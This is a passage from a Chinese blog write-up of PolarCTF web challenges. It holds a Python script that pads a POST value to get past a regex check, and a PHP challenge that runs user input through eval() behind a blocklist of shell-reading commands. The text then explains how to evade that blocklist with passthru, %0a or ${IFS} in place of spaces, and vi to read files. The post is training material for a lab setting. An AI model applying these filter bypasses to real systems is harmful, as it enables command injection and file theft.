[DS]Polar靶场web(一)(1)

最新推荐文章于 2024-10-09 23:31:03 发布

m0_74918915

最新推荐文章于 2024-10-09 23:31:03 发布

阅读量574

点赞数 23

分类专栏： 2024年程序员学习文章标签：前端

本文链接：https://blog.csdn.net/m0_74918915/article/details/137662427

版权

本文介绍了网络安全靶场中的Web挑战，包括简单RCE、蜜雪冰城吉警店、召唤神龙、seek flag等，通过源码分析和技巧分享，帮助读者提升Web安全技能。此外，还提供了黑客和网络安全的学习路线，涵盖从零基础入门到企业级工程师所需的知识点，包括渗透测试、操作系统、计算机网络、数据库、Web渗透等，并强调了编程能力在网络安全中的重要性。

摘要由CSDN通过智能技术生成

import requests
request=requests.post('http://24aac5d4-fc13-414a-8c21-62130c090777.www.polarctf.com:8090/',data={'xdmtql':'sys nb'+'-'*1000000})
print(request.text)

简单rce

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

这题过滤了cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen这么多函数，但是他过滤，关我什么事，我们仍可以用echo和passthru来查看目录，空格用%0a或{$IFS}代替，读取文件用vi。

下面直接开打!!!